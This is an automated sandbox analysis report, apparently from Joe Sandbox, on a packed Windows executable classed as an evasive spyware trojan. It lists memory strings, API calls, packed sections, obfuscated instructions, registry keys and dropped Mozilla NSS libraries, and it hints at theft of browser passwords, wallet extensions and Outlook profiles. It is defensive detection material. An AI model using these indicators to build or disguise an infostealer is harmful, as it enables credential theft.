Source: file.exe, 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1822393224.0000000029BCB000.00000004.00000020.00020000.00000000.sdmp, HCAEHJJKFCAAFHJKFBKKEBKECB.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/kZ2Npam5taG5mbmtkbmFhZHwxfDB8MXxHdWFyZGF8aHBnbGZoZ2ZuaGJncGp
Source: file.exe, 00000000.00000002.1883664465.00000000007FC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/vRm9ybXxwbmxjY21vamNtZW9obHBnZ21mbmJiaWFwa21ibGlvYnwxfDB8MHx

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FED10 malloc,NtFlushVirtualMemory,memset,memset,memset,memset,memset,memcpy,free,memset,memset,memcpy,memset,memset,memset,memset,memset,	0_2_6C5FED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C63B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63B8C0 rand_s,NtQueryVirtualMemory,	0_2_6C63B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6C63B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6C5DF280

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3D8A2	0_2_00A3D8A2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ABE895	0_2_00ABE895
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3C043	0_2_00B3C043
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C589C5	0_2_00C589C5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B80997	0_2_00B80997
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B71902	0_2_00B71902
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A81AE2	0_2_00A81AE2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9FA2D	0_2_00A9FA2D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A9432D	0_2_00A9432D
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B74CF3	0_2_00B74CF3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B79D02	0_2_00B79D02
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A7857B	0_2_00A7857B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7EE1A	0_2_00B7EE1A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AA464F	0_2_00AA464F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A64654	0_2_00A64654
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7B7F0	0_2_00B7B7F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B76772	0_2_00B76772
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B7876B	0_2_00B7876B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D35A0	0_2_6C5D35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E5440	0_2_6C5E5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64545C	0_2_6C64545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64542B	0_2_6C64542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64AC00	0_2_6C64AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615C10	0_2_6C615C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C622C10	0_2_6C622C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FD4D0	0_2_6C5FD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C616CF0	0_2_6C616CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E64C0	0_2_6C5E64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DD4E0	0_2_6C5DD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6334A0	0_2_6C6334A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63C4A0	0_2_6C63C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E6C80	0_2_6C5E6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FED10	0_2_6C5FED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EFD00	0_2_6C5EFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C600512	0_2_6C600512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6385F0	0_2_6C6385F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C610DD0	0_2_6C610DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C646E63	0_2_6C646E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F9E50	0_2_6C5F9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F4640	0_2_6C5F4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C622E4E	0_2_6C622E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DC670	0_2_6C5DC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C613E50	0_2_6C613E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C639E30	0_2_6C639E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C625600	0_2_6C625600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C617E10	0_2_6C617E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6476E3	0_2_6C6476E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DBEF0	0_2_6C5DBEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EFEF0	0_2_6C5EFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C634EA0	0_2_6C634EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F5E90	0_2_6C5F5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C63E680	0_2_6C63E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E9F00	0_2_6C5E9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C617710	0_2_6C617710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C606FF0	0_2_6C606FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DDFE0	0_2_6C5DDFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6277A0	0_2_6C6277A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F8850	0_2_6C5F8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FD850	0_2_6C5FD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61F070	0_2_6C61F070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61B820	0_2_6C61B820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C624820	0_2_6C624820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5E7810	0_2_6C5E7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6158E0	0_2_6C6158E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6450C7	0_2_6C6450C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FC0E0	0_2_6C5FC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6060A0	0_2_6C6060A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C62B970	0_2_6C62B970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64B170	0_2_6C64B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5FA940	0_2_6C5FA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ED960	0_2_6C5ED960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C60D9B0	0_2_6C60D9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C615190	0_2_6C615190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C632990	0_2_6C632990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DC9A0	0_2_6C5DC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C619A60	0_2_6C619A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61E2F0	0_2_6C61E2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C618AC0	0_2_6C618AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5F1AF0	0_2_6C5F1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C604AA0	0_2_6C604AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C642AB0	0_2_6C642AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5ECAB0	0_2_6C5ECAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C64BA90	0_2_6C64BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D22A0	0_2_6C5D22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5D5340	0_2_6C5D5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5EC370	0_2_6C5EC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C61D320	0_2_6C61D320
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C6453C8	0_2_6C6453C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C5DF380	0_2_6C5DF380

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 007C4610 appears 316 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C6194D0 appears 90 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6C60CBE8 appears 134 times

Source: file.exe, 00000000.00000002.1909971224.000000006C855000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1909404495.000000006C662000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: goyefyxh ZLIB complexity 0.9951195477719034

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@1/22@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C637030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6C637030

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007D90A0 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_007D90A0

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\HY1OGDIN.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: file.exe, 00000000.00000002.1909117742.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1899633547.000000001D8A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1909883594.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: file.exe, 00000000.00000002.1909117742.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1899633547.000000001D8A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1909883594.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: file.exe, 00000000.00000002.1909117742.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1899633547.000000001D8A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1909883594.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: file.exe, 00000000.00000002.1909117742.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1899633547.000000001D8A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1909883594.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: file.exe, 00000000.00000002.1909117742.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1899633547.000000001D8A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1909883594.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: file.exe, 00000000.00000002.1909117742.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1899633547.000000001D8A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: file.exe, 00000000.00000002.1909117742.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1899633547.000000001D8A5000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1909883594.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1739692988.000000001D7A4000.00000004.00000020.00020000.00000000.sdmp, FBKKFBAEGDHJJJJKFBKF.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1909117742.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1899633547.000000001D8A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1909117742.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1899633547.000000001D8A5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 1790464 > 1048576

Source: file.exe

Static PE information: Raw size of goyefyxh is bigger than: 0x100000 < 0x19dc00

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1909883594.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1909883594.000000006C80F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1909358737.000000006C64D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.7c0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;goyefyxh:EW;qvslxnip:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;goyefyxh:EW;qvslxnip:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_007D9270 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_007D9270

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1b6708 should be: 0x1bc6fd

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: goyefyxh
Source: file.exe	Static PE information: section name: qvslxnip
Source: file.exe	Static PE information: section name: .taggant
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3D8A2 push 520F0AB0h; mov dword ptr [esp], ecx	0_2_00A3D90F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3D8A2 push ecx; mov dword ptr [esp], ebp	0_2_00A3D914
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3D8A2 push 3888B11Dh; mov dword ptr [esp], edi	0_2_00A3D969
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A3D8A2 push eax; mov dword ptr [esp], 4B4C83A1h	0_2_00A3D9C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEE099 push 1033F1DEh; mov dword ptr [esp], edi	0_2_00BEE0DA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEE099 push eax; mov dword ptr [esp], edx	0_2_00BEE0FB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ABE895 push 0F01A544h; mov dword ptr [esp], ecx	0_2_00ABEA01
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ABE895 push ebp; mov dword ptr [esp], 2FBF70B7h	0_2_00ABEAA9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ABE895 push esi; mov dword ptr [esp], ebx	0_2_00ABEAB5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ABE895 push esi; mov dword ptr [esp], 73261065h	0_2_00ABEAFA
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B4F8DF push 33DC6480h; mov dword ptr [esp], eax	0_2_00B4F93A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C28058 push ebx; mov dword ptr [esp], 6FBB5700h	0_2_00C2808E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C28058 push ecx; mov dword ptr [esp], 2F5551BBh	0_2_00C280BB
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C28058 push 20CEA97Ah; mov dword ptr [esp], eax	0_2_00C28185
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00A0481E push 26575167h; mov dword ptr [esp], eax	0_2_00A04826
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE087F push 03305007h; mov dword ptr [esp], edi	0_2_00AE08A8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00AE087F push 383C652Ah; mov dword ptr [esp], edx	0_2_00AE08B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C8C81D push 2D0B2B3Ch; mov dword ptr [esp], ebx	0_2_00C8C825
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C8C81D push edx; mov dword ptr [esp], 1BD3F60Bh	0_2_00C8C990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3C043 push edx; mov dword ptr [esp], ebp	0_2_00B3C07C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3C043 push 73A62180h; mov dword ptr [esp], ebx	0_2_00B3C095
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3C043 push ecx; mov dword ptr [esp], edx	0_2_00B3C0E1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B3C043 push ebx; mov dword ptr [esp], eax	0_2_00B3C18B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C589C5 push edi; mov dword ptr [esp], eax	0_2_00C58A19
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C589C5 push 119CED1Ch; mov dword ptr [esp], ebp	0_2_00C58A63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C589C5 push ecx; mov dword ptr [esp], eax	0_2_00C58A83
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00B9F1BC push eax; mov dword ptr [esp], edi	0_2_00B9F2D2
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C451CD push 7A592005h; mov dword ptr [esp], ebx	0_2_00C45204
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C451CD push eax; mov dword ptr [esp], 6BFC60D6h	0_2_00C45226
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C8F9ED push 381FFEC7h; mov dword ptr [esp], esi	0_2_00C8FA37
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00C7D9E1 push 7E597196h; mov dword ptr [esp], ecx	0_2_00C7DA0A

Source: file.exe

Static PE information: section name: goyefyxh entropy: 7.953604352071683

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
